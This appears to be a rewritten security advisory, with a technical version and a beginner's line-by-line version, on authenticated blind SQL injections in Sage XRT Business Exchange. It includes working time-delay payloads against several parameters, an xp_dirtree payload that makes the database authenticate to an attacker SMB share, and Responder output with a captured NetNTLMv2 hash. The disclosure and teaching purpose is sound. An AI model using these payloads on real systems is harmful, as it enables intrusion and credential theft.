Multiple authenticated blind SQL Injections in Sage XRT Business Exchange application
The Sage XRT Business Exchange application did not sanitise user input on several parameters, allowing an authenticated attacker to inject arbitrary SQL content into database queries. This could let the attacker read files, extract database records, or execute commands on the host.
Published on synacktiv.com
Multiple authenticated blind SQL Injections in Sage XRT Business Exchange application
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Sage XRT Business Exchange is part of the Sage application suite. It is a SaaS platform designed to manage the entire banking operations with payment chains, manage electronic signatures, and it includes a team collaboration function. Synacktiv audited the application and found multiple vulnerabilities that allow an authenticated attacker to inject malicious data into SQL queries. The application does not sanitise user input on specific parameters, so those parameters can be used to alter legitimate SQL queries and inject arbitrary SQL content.
The affected pages, in both the English and French versions of the application, are:
- Add Devises / Ajout de devises.
- Payment Order / Ordre de paiement.
- Transfer history / Historique des transferts.
The advisory was published on 21 December 2022 and credits Mickaël Benassouli and Antoine Gicquel.
Setup
At least version 12.4.302 is affected; previous versions were not tested. The injections require an authenticated session: the requests carry a SESSIONID cookie and a CSRFToken parameter, and the Payment Order page is reachable when logged in as user or administrator on the XRT panel. The SQL backend is MSSQL, which matters because the proof-of-concept payloads use MSSQL-specific syntax (WAITFOR DELAY, xp_dirtree).
The French XRT application exposes the devise configuration at:
OnlineBanking > Configuration > Administration fonctionnelle > Paramètres utilisateur > Taux de change des devises
which corresponds to the path /OnlineBanking/cgi/isapi.dll/ParaRfFRFRS.
Finding it
Sage XRT Business Exchange executes numerous SQL queries containing user-controlled data without proper server-side sanitisation. Sending crafted data to the application therefore modifies the behaviour of the original SQL queries. Several SQL injections requiring different privilege levels were found across the three pages above.
Exploitation
Step 1: Add Devises / Ajout de devises
An authenticated user can add devises to a specific list on the application. The page is loaded with a GET request:
GET /OnlineBanking/cgi/isapi.dll/ParaRfFRFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
Cookie: WMSEARCHANDMODEL=OPEN; SESSIONID=*********=; _ga=******; i18next=en-US
[...]
Referer: https://*******/OnlineBanking/cgi/isapi.dll/FrameMain?REDIRECT_SERVICE=&FRAMEMODE=
The response is HTTP/2 200 OK with Content-Type: text/html and contains the client-side code that builds and submits the form:
function addCur() {
var l_oDev = document.getElementById('iddev');
var l_iLen = l_oDev.options.length;
document.formdev.lstdev.value = "";
document.formdev.lstdevpos.value = "";
for (i=0;i < l_iLen;i++) {
if (l_oDev.options[i].selected == true) {
if (document.formdev.lstdev.value == "") {
document.formdev.lstdev.value = l_oDev.options[i].value;
document.formdev.lstdevpos.value = i
} else {
document.formdev.lstdev.value = l_oDev.options[i].value + ";" + document.formdev.lstdev.value;
document.formdev.lstdevpos.value = i + ";" + document.formdev.lstdevpos.value
}
}
}
opencloseCurPage();
saveDev();
}
function saveDev() {
document.formdev.cmd.value = "SAVE";
document.formdev.action = '/OnlineBanking/cgi/isapi.dll/ParaRfFRFRS';
document.formdev.submit();
}
The SQL query results are not displayed in the server response, so this is a blind SQL injection. A delay query can be used to check whether the request is injected. In MSSQL this is done with:
WAITFOR DELAY '00:00:15'
The injection is performed through a POST request to the save endpoint:
POST /OnlineBanking/cgi/isapi.dll/ParaRfFRFRS HTTP/2
Host: *********.cloud-by-sage.fr
Date: Tue, 17 May 2022 16:48:13 GMT
[...]
cmd=MDFTDC&DEV=ARS&TYPE=1&VALUE=1%20waitfor%20delay'0%3a0%3a10'-&CSRFToken=[redacted]
The VALUE parameter carries the payload 1 waitfor delay'0:0:10'-, URL-encoded. The server answers HTTP/2 200 OK with an empty response after 20 seconds.
Step 2: Payment Order / Ordre de paiement
When logged in as user or administrator on the XRT panel, the user can access multiple search and edit pages. The payment order journal is at:
https://*********.em.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/HOPFRQ
reachable via OnlineBanking > Paiements > Journal > Ordres de paiement. A normal search request looks like this:
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1&searchappori=1&searchdesc=1&PG_C UR=&PG_NB=20&wanttoprint=&CSRFToken=[redacted]&CSRFToken=8A313FBA5465 4F57A0CADD8230F5D8D0
The page's client-side validation for the searchbatch field is shown in the response:
function SendSearchBatch() {
document.formhstmainbatch.target = "_self";
if (document.formhstmainbatch.searchbatch.value != '')
if (isIntegerNumber(document.formhstmainbatch.searchbatch.value) == false) {
alert("Veuillez saisir un nombre ou un chiffre.");
document.formhstmainbatch.searchbatch.value = "";
document.formhstmainbatch.searchbatch.focus();
return;
}
document.formhstmainbatch.submit();
}
That check runs only in the browser, and the searchbatch field is also vulnerable to an SQL injection. The delay payload is sent as follows:
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host: **************.cloud-by-sage.fr
Date: Wed, 18 May 2022 08:02:03 GMT
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1%20waitfor%20delay'0%3a0%3a20'-&searchappori=1&searchdesc=1&PG_CUR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD 8230F5D8D0&CSRFToken=[redacted]
Here searchbatch holds 1 waitfor delay'0:0:20'-.
Step 3: Transfer History / Historique des transferts
This page allows a user to search into payment history or reports. It is available at:
https://************.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/WMSERVERFRQ
A normal search request is:
POST /OnlineBanking/cgi/isapi.dll/WMSERVERFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
[...]
page=hsttransfert&searchtype=&CHANGEVAL=1&SelectPopOpen=&SelectPopClose=&searchstatus=0&sea rchdatestart=10%2F5%2F2022&CALMOVE1=&CALMONTHSELECTED1=&CALYEARSELECTED1=&searchdateend=10% 2F5%2F2022&CALMOVE2=&CALMONTHSELECTED2=&CALYEARSELECTED2=&searchref=111&searchsens=0&PART=& PART_LABEL=&searchptc=268435456&SVC=&SVC_LABEL=&CLIENT=&CLIENT_LABEL=&PG_CUR=&PG_NB=20&fiel did=4001&orderby=desc&CSRFToken=[redacted]
The response contains the select elements that populate the search form, for example:
<td><select name="searchsens"><option value=""></option><option value="0" selected>Emetteur</option><option value="1">Récepteur</option></select></td>
<td><select name="searchptc"><option value=""></option><option value="134217728">AS2</option> [...] </td><td><select name="searchstatus"><option value=""></option><option value="2">Echec de transmission</option><option value="0" selected>Transmis</option><option value="3">Transmission en cours</option></select></td>
The following fields are vulnerable to an SQL injection:
searchsenssearchptcsearchstatus
An example injection in searchptc:
POST /OnlineBanking/cgi/isapi.dll/WMSERVERFRQ HTTP/2
Host: ******.cloud-by-sage.fr
Date: Mon, 23 May 2022 15:49:24 GMT
[...]
page=hsttransfert&searchtype=&CHANGEVAL=1&SelectPopOpen=CLIENT&SelectPopClose=&searchstatus =0&searchdatestart=10%2F5%2F2022&CALMOVE1=&CALMONTHSELECTED1=4&CALYEARSELECTED1=2022&search dateend=10%2F5%2F2022&CALMOVE2=&CALMONTHSELECTED2=4&CALYEARSELECTED2=2022&searchref=111&sea rchsens=0&PART=&PART_LABEL=&searchptc=268435456%20waitfor%20delay'0%3a0%3a20'-&SVC=&SVC_LABEL=&CLIENT=&CLIENT_LABEL=&PG_CUR=&PG_NB=20&fieldid=4001&orderby=desc&CSRFToken =[redacted]&CSRFToken=[redacted]&CSRFToken=0563 586076C542909772DE2F83FCAA34&CSRFToken=[redacted]&CSRFToken=056358607 6C542909772DE2F83FCAA34
The searchptc value 268435456 waitfor delay'0:0:20'- is the injected payload.
Step 4: From blind injection to hash capture
Exploitation of these injection points can be used, for example, to read files on the underlying server, to extract database records, or to execute commands on the host. The advisory shows how the NetNTLMv2 hash of the user account running the MSSQL service can be retrieved. The payload is injected through searchbatch on the Payment Order page:
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host:************.cloud-by-sage.fr
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1;declare @q varchar(99);set @q='\\[redacted]\mii'; exec master.dbo.xp_dirtree @q;-&searchappori=1&searchdesc=1&PG_CUR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD 8230F5D8D0&CSRFToken=[redacted]
The injected statement declares a variable, sets it to a UNC path pointing at an attacker-controlled SMB server, and calls master.dbo.xp_dirtree on it. The MSSQL service then authenticates to that share, which can leak its NetNTLMv2 hash. The attacker listens with Responder:
$ python3 Responder.py -I eth0
[...]
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Client :35.**.**.**
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Username: EC2PSM1SQL1XTM1\SVC.SQLSrv
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Hash :SVC.SQLSrv::EC2PSM1SQL1XTM1:5e1860cca92****************************
Responder logs the client address, the service account name and the beginning of the NetNTLMv2 hash.
Root cause
The application builds SQL queries from user-controlled parameters without server-side sanitisation, including VALUE, searchbatch, searchsens, searchptc and searchstatus. The isIntegerNumber check on searchbatch runs in the browser, and the POST can be sent directly. Because the query results are never reflected in the response, the injection is blind and has to be confirmed through time delays or out-of-band channels.
Impact
An authenticated attacker, at the privilege levels needed to reach each page, can alter the legitimate SQL queries. Depending on the injection point, this can be used to read files on the underlying server, extract database records, or execute commands on the host. The advisory illustrates the last case with a NetNTLMv2 hash capture of the MSSQL service account. The different injections require different privilege levels, so the reachable impact depends on the account the attacker holds.
Fix
The advisory does not describe the remediation Sage applied. The appropriate fix is server-side sanitisation of every user-controlled parameter before it is placed in a query, ideally through parameterised queries, and removal of reliance on client-side checks such as isIntegerNumber for security.
Variants to test
- Send a delay payload such as
1 waitfor delay'0:0:10'-in numeric-looking search or save parameters and measure the response time; a positive result is a response that arrives after the injected delay with otherwise normal content. - Bypass client-side integer validation by submitting the POST directly with a non-numeric value; a positive result is the server processing the value instead of rejecting it.
- Inject into select-backed parameters (
searchsens,searchptc,searchstatus) rather than free-text fields; a positive result is the same time delay from a value the UI only ever sends as a fixed option. - Use an out-of-band channel such as
xp_dirtreeagainst a controlled SMB listener; a positive result is an inbound SMB authentication with the database service account's NetNTLMv2 hash.
What happened, in plain words
Sage XRT Business Exchange is a web application made by Sage. It is part of a larger suite of business software and is offered as a service over the internet (this delivery model is called SaaS, short for Software as a Service: you do not install it on your own computer, you log in to a website). Companies use it to run their banking operations: sending payment chains, managing electronic signatures, and letting teams collaborate on those tasks.
Two security researchers, Mickaël Benassouli and Antoine Gicquel, examined this application and found several weaknesses. The weaknesses all belong to one family: SQL injection. To understand what that means, you need to know two things.
First, most web applications sit in front of a database. A database is an organised store of information, like a very large set of spreadsheets that the application can search and update. The application talks to the database using a language called SQL (Structured Query Language). A typical SQL query is a sentence such as "give me all the payments made by this customer".
Second, when you use a website, your browser sends requests to a server. A request is a message asking the server to do something, for example "show me this page" or "save this form". Many requests carry parameters: small pieces of data you typed or selected, such as a search term or a date. The server takes those parameters and often puts them inside an SQL query.
The danger is that if the server simply glues your input into the query text without checking it, you can type something that is not just a value but also SQL code. The database cannot tell the difference between the query the programmer wrote and the extra code you slipped in, so it executes both. That is SQL injection: injecting your own database instructions through an input field.
The researchers found this problem on three pages of the application, in both the English and French versions:
- Add Devises / Ajout de devises (a page for managing currencies, "devises" being French for currencies).
- Payment Order / Ordre de paiement (the payment order journal).
- Transfer history / Historique des transferts (searching through past transfers).
All three require you to be logged in. In other words, this is not something an anonymous visitor can do: the attacker needs a valid account, though the account does not need to be an administrator for every page. The different injection points need different privilege levels, meaning different levels of permission on the account.
The advisory was published on 21 December 2022. It records that Sage was contacted in June 2022 and that a CVE identifier, CVE-2022-34324, was assigned. A CVE is a public catalogue number given to a known security flaw so that everyone can refer to the same issue unambiguously.
Setup
The advisory states that at least version 12.4.302 is affected, and that earlier versions were not tested. So we know one version is vulnerable; we do not know from this document whether older ones are.
Because the pages require a login, every request shown below carries proof that the sender is authenticated. Two mechanisms appear:
- A cookie. A cookie is a small piece of data that a website asks your browser to store and send back with every subsequent request. It is how a website remembers who you are between page loads. The
SESSIONIDcookie is the application's way of tying a request to a logged-in session. - A CSRF token. CSRF stands for Cross-Site Request Forgery, an attack where a malicious site tricks your browser into sending a request to another site where you are logged in. To prevent it, applications include a secret, unpredictable value (here
CSRFToken) in forms, and the server checks that the value matches the one it issued. An attacker who wants to replay or craft requests needs a valid token.
The database behind the application is Microsoft SQL Server, usually abbreviated MSSQL. This detail matters because the proof-of-concept payloads use syntax that only MSSQL understands, such as WAITFOR DELAY and xp_dirtree. The same tricks would not work verbatim on other database products.
The French version of the application exposes the currency configuration page through this menu path:
OnlineBanking > Configuration > Administration fonctionnelle > Paramètres utilisateur > Taux de change des devises
In plain words: log in, open the "OnlineBanking" section, then "Configuration", then "Administration fonctionnelle" (functional administration), then "Paramètres utilisateur" (user settings), then "Taux de change des devises" (currency exchange rates). That menu leads to the URL path /OnlineBanking/cgi/isapi.dll/ParaRfFRFRS. The odd-looking isapi.dll part is simply how this application routes requests to its internal components; from the user's point of view it is just part of the address.
Finding it
The root observation is simple: Sage XRT Business Exchange runs many SQL queries that contain data controlled by the user, and it does not properly sanitise that data on the server side. Sanitising means cleaning or escaping input so that it can only ever be treated as a value, never as code. Because that cleaning is missing, sending crafted data changes the behaviour of the original queries.
The researchers found several injection points across the three pages, and these points require different privilege levels. That last point is worth pausing on: it means a low-privileged user might reach one page while another page needs more rights, so what an attacker can do depends on which account they hold.
Exploitation
Step 1: Add Devises / Ajout de devises
An authenticated user can add currencies to a specific list in the application. The researchers first loaded the page normally, with a GET request. GET is the HTTP method a browser uses when it simply asks for a page; POST, which appears later, is the method used when a form is submitted and data is sent to the server.
GET /OnlineBanking/cgi/isapi.dll/ParaRfFRFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
Cookie: WMSEARCHANDMODEL=OPEN; SESSIONID=*********=; _ga=******; i18next=en-US
[...]
Referer: https://*******/OnlineBanking/cgi/isapi.dll/FrameMain?REDIRECT_SERVICE=&FRAMEMODE=
Line by line:
GET /OnlineBanking/cgi/isapi.dll/ParaRfFRFRQ HTTP/2says "please give me this page", using version 2 of the HTTP protocol, the language browsers and servers use to talk to each other.Host:names the server being contacted. The hostname has been partly masked in the advisory.Cookie:carries the stored cookies.SESSIONIDidentifies the logged-in session; its value is masked.WMSEARCHANDMODEL,_ga(a Google Analytics cookie) andi18next(a language preference) are other cookies the site set.[...]marks headers the advisory omitted.Referer:tells the server which page the request came from. Here it is the application's main frame page.
The server answered HTTP/2 200 OK with Content-Type: text/html, meaning success and "the body is an HTML page". That page contained the client-side code that builds and submits the form:
function addCur() {
var l_oDev = document.getElementById('iddev');
var l_iLen = l_oDev.options.length;
document.formdev.lstdev.value = "";
document.formdev.lstdevpos.value = "";
for (i=0;i < l_iLen;i++) {
if (l_oDev.options[i].selected == true) {
if (document.formdev.lstdev.value == "") {
document.formdev.lstdev.value = l_oDev.options[i].value;
document.formdev.lstdevpos.value = i
} else {
document.formdev.lstdev.value = l_oDev.options[i].value + ";" + document.formdev.lstdev.value;
document.formdev.lstdevpos.value = i + ";" + document.formdev.lstdevpos.value
}
}
}
opencloseCurPage();
saveDev();
}
function saveDev() {
document.formdev.cmd.value = "SAVE";
document.formdev.action = '/OnlineBanking/cgi/isapi.dll/ParaRfFRFRS';
document.formdev.submit();
}
This is JavaScript, code that runs inside your browser rather than on the server. Line by line:
function addCur() {starts a function namedaddCur, presumably "add currency".var l_oDev = document.getElementById('iddev');finds the element on the page whose id isiddev, which is the list of currencies.var l_iLen = l_oDev.options.length;counts how many options that list has.- The next two lines empty two hidden form fields,
lstdevandlstdevpos. - The
forloop walks through every option in the list. if (l_oDev.options[i].selected == true)checks whether the current option has been selected by the user.- If it has, and
lstdevis still empty, the option's value is copied intolstdevand its position intolstdevpos. - Otherwise the value is appended in front of the existing content, separated by a semicolon, and the same is done for the position. So multiple selections are joined with
;. opencloseCurPage();andsaveDev();then run.saveDevsets a hidden fieldcmdtoSAVE, points the form at/OnlineBanking/cgi/isapi.dll/ParaRfFRFRS, and submits it.
The important lesson here is that all of this is convenience code for the browser. It decides what gets sent, but it does not protect anything: an attacker can send whatever they like directly, without using the page at all.
The results of the SQL query are not displayed in the server's response. When you cannot see the output of your injected query, the situation is called blind SQL injection. It is like asking questions to someone behind a closed door: you cannot see the answer, so you have to infer it from indirect signs. The sign used here is time. If the injected code makes the database wait, and the response arrives late, you know the code ran.
In MSSQL, a deliberate wait is written like this:
WAITFOR DELAY '00:00:15'
WAITFOR DELAY means "pause for this long"; the string '00:00:15' is hours, minutes and seconds, so fifteen seconds. If this statement is executed by the database, the whole request takes at least that long to come back.
The injection itself is sent with a POST request to the save endpoint:
POST /OnlineBanking/cgi/isapi.dll/ParaRfFRFRS HTTP/2
Host: *********.cloud-by-sage.fr
Date: Tue, 17 May 2022 16:48:13 GMT
[...]
cmd=MDFTDC&DEV=ARS&TYPE=1&VALUE=1%20waitfor%20delay'0%3a0%3a10'-&CSRFToken=[redacted]
Line by line:
POSTmeans "here is data for you to process", as opposed to GET which just asks for a page.- The path is the save endpoint seen in the JavaScript above.
Host:andDate:identify the server and when the request was sent.- The blank line separates headers from the body.
- The body is the form data, written as
name=valuepairs joined by&. cmd=MDFTDCis the command the form sends;DEV=ARSnames a currency (ARS is the Argentine peso code);TYPE=1is another form field.VALUE=1%20waitfor%20delay'0%3a0%3a10'-is the interesting part. The value starts as1, then a space, thenwaitfor delay'0:0:10'-. Because form data cannot contain raw spaces and some other characters safely, they are percent-encoded:%20is a space,%3ais a colon. Decoded, the payload is1 waitfor delay'0:0:10'-, which asks the database to pause for ten seconds. The trailing'-closes the quote and comments out whatever the original query had after the value, so the rest of the programmer's query does not cause a syntax error.CSRFToken=...is the anti-CSRF token described earlier, needed for the server to accept the request.
The server answered HTTP/2 200 OK with an empty response after 20 seconds.
Step 2: Payment Order / Ordre de paiement
When logged in as a user or as an administrator on the XRT panel, you can reach several search and edit pages. The payment order journal is at:
https://*********.em.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/HOPFRQ
and is reachable through OnlineBanking > Paiements > Journal > Ordres de paiement (payments, journal, payment orders). A normal search request looks like this:
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1&searchappori=1&searchdesc=1&PG_C UR=&PG_NB=20&wanttoprint=&CSRFToken=[redacted]&CSRFToken=8A313FBA5465 4F57A0CADD8230F5D8D0
Line by line:
- It is a POST to the journal page, because the search form is submitted rather than just loaded.
- The body is a long list of
name=valuepairs.page=batchtells the application which kind of search this is. Many fields are empty (IDBATCH=,RPT=,REJ=,IDJOB=,STATUS=), meaning no filter is applied on them. searchbatch=1is the batch number being searched for.searchappori=1,searchdesc=1are flags enabling search on additional fields.PG_CUR=andPG_NB=20relate to paging: which page of results and how many per page.wanttoprint=is empty.CSRFTokenappears twice with the same value. Duplicated parameters are unusual but the server evidently accepts them.
The response contained the page's client-side validation for the searchbatch field:
function SendSearchBatch() {
document.formhstmainbatch.target = "_self";
if (document.formhstmainbatch.searchbatch.value != '')
if (isIntegerNumber(document.formhstmainbatch.searchbatch.value) == false) {
alert("Veuillez saisir un nombre ou un chiffre.");
document.formhstmainbatch.searchbatch.value = "";
document.formhstmainbatch.searchbatch.focus();
return;
}
document.formhstmainbatch.submit();
}
Line by line:
function SendSearchBatch() {starts the function that runs when the search is submitted.document.formhstmainbatch.target = "_self";makes the result open in the same browser tab.if (document.formhstmainbatch.searchbatch.value != '')checks that the field is not empty.if (isIntegerNumber(...) == false)calls a helper that checks whether the value is a whole number. If it is not, the browser shows an alert saying "Veuillez saisir un nombre ou un chiffre" (please enter a number or a digit), clears the field, puts the cursor back in it, and stops withreturn;.- If the value passes,
document.formhstmainbatch.submit();sends the form.
This check runs only in the browser. Any tool that sends the POST directly skips it entirely. The server does not repeat the check, and the searchbatch field is vulnerable to SQL injection. The delay payload is sent as follows:
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host: **************.cloud-by-sage.fr
Date: Wed, 18 May 2022 08:02:03 GMT
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1%20waitfor%20delay'0%3a0%3a20'-&searchappori=1&searchdesc=1&PG_CUR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD 8230F5D8D0&CSRFToken=[redacted]
This is the same request as the normal search, with one change: searchbatch now holds 1%20waitfor%20delay'0%3a0%3a20'-, which decodes to 1 waitfor delay'0:0:20'-. That asks the database to pause for twenty seconds. Everything else is unchanged, so the only difference in behaviour can come from the injected value. The request was sent with the delay payload in searchbatch.
Step 3: Transfer History / Historique des transferts
This page lets a user search payment history or reports. It is available at:
https://************.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/WMSERVERFRQ
A normal search request is:
POST /OnlineBanking/cgi/isapi.dll/WMSERVERFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
[...]
page=hsttransfert&searchtype=&CHANGEVAL=1&SelectPopOpen=&SelectPopClose=&searchstatus=0&sea rchdatestart=10%2F5%2F2022&CALMOVE1=&CALMONTHSELECTED1=&CALYEARSELECTED1=&searchdateend=10% 2F5%2F2022&CALMOVE2=&CALMONTHSELECTED2=&CALYEARSELECTED2=&searchref=111&searchsens=0&PART=& PART_LABEL=&searchptc=268435456&SVC=&SVC_LABEL=&CLIENT=&CLIENT_LABEL=&PG_CUR=&PG_NB=20&fiel did=4001&orderby=desc&CSRFToken=[redacted]
Line by line:
page=hsttransfertselects the transfer history search.searchtype=is empty;CHANGEVAL=1signals that a search value changed.SelectPopOpen=andSelectPopClose=are empty, relating to popup selectors in the interface.searchstatus=0filters on a status; the value0corresponds to "Transmis" (transmitted), as the HTML below shows.searchdatestart=10%2F5%2F2022andsearchdateend=10%2F5%2F2022are the start and end dates.%2Fis the percent-encoding of/, so the date is10/5/2022.CALMOVE1=,CALMONTHSELECTED1=,CALYEARSELECTED1=and the matchingCAL...2fields are empty calendar helper fields.searchref=111is a reference number to search for.searchsens=0is the direction of the transfer;0means "Emetteur" (sender).PART=,PART_LABEL=,SVC=,SVC_LABEL=,CLIENT=,CLIENT_LABEL=are empty partner, service and client fields.searchptc=268435456is a protocol or transport code; the HTML below shows134217728mapped toAS2, so these are numeric identifiers for fixed choices.PG_CUR=,PG_NB=20,fieldid=4001,orderby=desccontrol paging and sorting.CSRFToken=...is the anti-CSRF token.
The response contains the select elements that populate the search form, for example:
<td><select name="searchsens"><option value=""></option><option value="0" selected>Emetteur</option><option value="1">Récepteur</option></select></td>
<td><select name="searchptc"><option value=""></option><option value="134217728">AS2</option> [...] </td><td><select name="searchstatus"><option value=""></option><option value="2">Echec de transmission</option><option value="0" selected>Transmis</option><option value="3">Transmission en cours</option></select></td>
These are HTML dropdown menus. A <select> element is a dropdown; each <option> is one choice, with a value sent to the server and a label shown to the user. In the first snippet, searchsens offers an empty choice, 0 for "Emetteur" (sender, selected by default) and 1 for "Récepteur" (receiver). In the second, searchptc offers 134217728 labelled AS2, and searchstatus offers 2 for "Echec de transmission" (transmission failure), 0 for "Transmis" (transmitted, selected) and 3 for "Transmission en cours" (transmission in progress). The [...] marks content the advisory left out.
The point of showing these menus is that the browser can only ever send the fixed values listed. But the server trusts whatever arrives, so an attacker is not limited to those values. The following fields are vulnerable to SQL injection:
searchsenssearchptcsearchstatus
An example injection in searchptc:
POST /OnlineBanking/cgi/isapi.dll/WMSERVERFRQ HTTP/2
Host: ******.cloud-by-sage.fr
Date: Mon, 23 May 2022 15:49:24 GMT
[...]
page=hsttransfert&searchtype=&CHANGEVAL=1&SelectPopOpen=CLIENT&SelectPopClose=&searchstatus =0&searchdatestart=10%2F5%2F2022&CALMOVE1=&CALMONTHSELECTED1=4&CALYEARSELECTED1=2022&search dateend=10%2F5%2F2022&CALMOVE2=&CALMONTHSELECTED2=4&CALYEARSELECTED2=2022&searchref=111&sea rchsens=0&PART=&PART_LABEL=&searchptc=268435456%20waitfor%20delay'0%3a0%3a20'-&SVC=&SVC_LABEL=&CLIENT=&CLIENT_LABEL=&PG_CUR=&PG_NB=20&fieldid=4001&orderby=desc&CSRFToken =[redacted]&CSRFToken=[redacted]&CSRFToken=0563 586076C542909772DE2F83FCAA34&CSRFToken=[redacted]&CSRFToken=056358607 6C542909772DE2F83FCAA34
Line by line, focusing on what changed compared with the normal request:
SelectPopOpen=CLIENTis now set, and the calendar fieldsCALMONTHSELECTED1=4,CALYEARSELECTED1=2022,CALMONTHSELECTED2=4,CALYEARSELECTED2=2022are filled in. These are ordinary form values.searchptc=268435456%20waitfor%20delay'0%3a0%3a20'-is the payload. Decoded, it is268435456 waitfor delay'0:0:20'-: the legitimate numeric value, a space, a twenty-second pause, and'-to close the quote and comment out the rest of the original query.CSRFTokenis repeated five times with the same value.
The searchptc value carries the delay payload. The same technique applies to searchsens and searchstatus.
Step 4: From blind injection to hash capture
Exploiting these injection points can be used, for example, to read files on the underlying server, to extract database records, or to execute commands on the host. The advisory shows how the NetNTLMv2 hash of the user account running the MSSQL service can be retrieved.
A hash is a one-way fingerprint of data, usually a password: it cannot easily be turned back into the original, but it can be attacked by guessing candidates and comparing fingerprints. NetNTLMv2 is a challenge-response authentication scheme used by Windows networks. When a Windows machine connects to a file share, it proves its identity by computing a response derived from the account's password hash. If an attacker can make the victim connect to a server the attacker controls, the attacker receives that response and can try to crack it offline, on their own hardware, without touching the victim again.
The payload is injected through searchbatch on the Payment Order page:
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host:************.cloud-by-sage.fr
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1;declare @q varchar(99);set @q='\\[redacted]\mii'; exec master.dbo.xp_dirtree @q;-&searchappori=1&searchdesc=1&PG_CUR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD 8230F5D8D0&CSRFToken=[redacted]
Line by line, the searchbatch value is the whole attack:
1;is a harmless number followed by a semicolon. In SQL, the semicolon ends one statement and lets another begin, so everything after it is a new statement the programmer never intended.declare @q varchar(99);creates a variable named@qthat can hold up to 99 characters of text.set @q='\\[redacted]\mii';stores a network path in that variable. A path starting with two backslashes is a UNC path, the Windows notation for a file share on another machine. Here it points at a share calledmiion a server the attacker controls.exec master.dbo.xp_dirtree @q;runs a built-in MSSQL procedure,xp_dirtree, which lists the contents of a folder. To list a folder on a remote share, the database service must first authenticate to that share, and it does so using its own Windows service account.-at the end comments out the remainder of the original query so it does not break the syntax.
The payload makes the database server connect out to the attacker's machine and authenticate. The attacker listens with a tool called Responder, which pretends to be the file share and records the authentication attempt:
$ python3 Responder.py -I eth0
[...]
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Client :35.**.**.**
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Username: EC2PSM1SQL1XTM1\SVC.SQLSrv
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Hash :SVC.SQLSrv::EC2PSM1SQL1XTM1:5e1860cca92****************************
Line by line:
$ python3 Responder.py -I eth0runs Responder with Python 3, telling it to listen on the network interface namedeth0. Responder answers network service requests and logs the credentials offered.[...]marks output the advisory omitted.[SMB] NTLMv2-SSP Client :35.**.**.**is the connection arriving over SMB, the Windows file-sharing protocol. The client address is partly masked.[SMB] NTLMv2-SSP Username: EC2PSM1SQL1XTM1\SVC.SQLSrvis the account that authenticated: a machine name, a backslash, then the service account name.[SMB] NTLMv2-SSP Hash :SVC.SQLSrv::EC2PSM1SQL1XTM1:5e1860cca92****************************is the captured NetNTLMv2 response, partly masked. This is the material an attacker would take away and try to crack offline.
So a single injected parameter can lead to a leak of the database service account's credentials, without any output being shown in the browser.
Root cause
The application builds SQL queries from user-controlled parameters without server-side sanitisation. Values such as VALUE, searchbatch, searchsens, searchptc and searchstatus are concatenated into the query text, meaning they are glued in as raw text. The isIntegerNumber check on searchbatch runs in the browser, and the POST can be sent directly. Because the query results are never reflected in the response, the injection is blind and has to be confirmed through time delays or out-of-band channels, meaning channels other than the HTTP response, such as the database connecting out to an attacker's server.
Impact
An authenticated attacker, at the privilege levels needed to reach each page, can alter the legitimate SQL queries. Depending on the injection point, this can be used to read files on the underlying server, extract database records, or execute commands on the host. The advisory illustrates the last case with a NetNTLMv2 hash capture of the MSSQL service account. The different injections require different privilege levels, so the reachable impact depends on the account the attacker holds.
Fix
The advisory does not describe the remediation Sage applied. The appropriate fix is server-side sanitisation of every user-controlled parameter before it is placed in a query, ideally through parameterised queries, and removal of reliance on client-side checks such as isIntegerNumber for security.
A parameterised query is one where the query text and the values are sent to the database separately, so the database always treats the values as data and never as code. It is the standard defence against SQL injection.
Variants to test
- Send a delay payload such as
1 waitfor delay'0:0:10'-in numeric-looking search or save parameters and measure the response time; a positive result is a response that arrives after the injected delay with otherwise normal content. - Bypass client-side integer validation by submitting the POST directly with a non-numeric value; a positive result is the server processing the value instead of rejecting it.
- Inject into select-backed parameters (
searchsens,searchptc,searchstatus) rather than free-text fields; a positive result is the same time delay from a value the UI only ever sends as a fixed option. - Use an out-of-band channel such as
xp_dirtreeagainst a controlled SMB listener; a positive result is an inbound SMB authentication with the database service account's NetNTLMv2 hash.
Glossary
- API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
- Authentication: proving who you are, usually by logging in.
- Blind SQL injection: SQL injection where the query results are not shown in the response, so the attacker infers success from indirect signs such as delays.
- Cookie: a small piece of data a website stores in your browser and receives back on later requests, often used to remember a login.
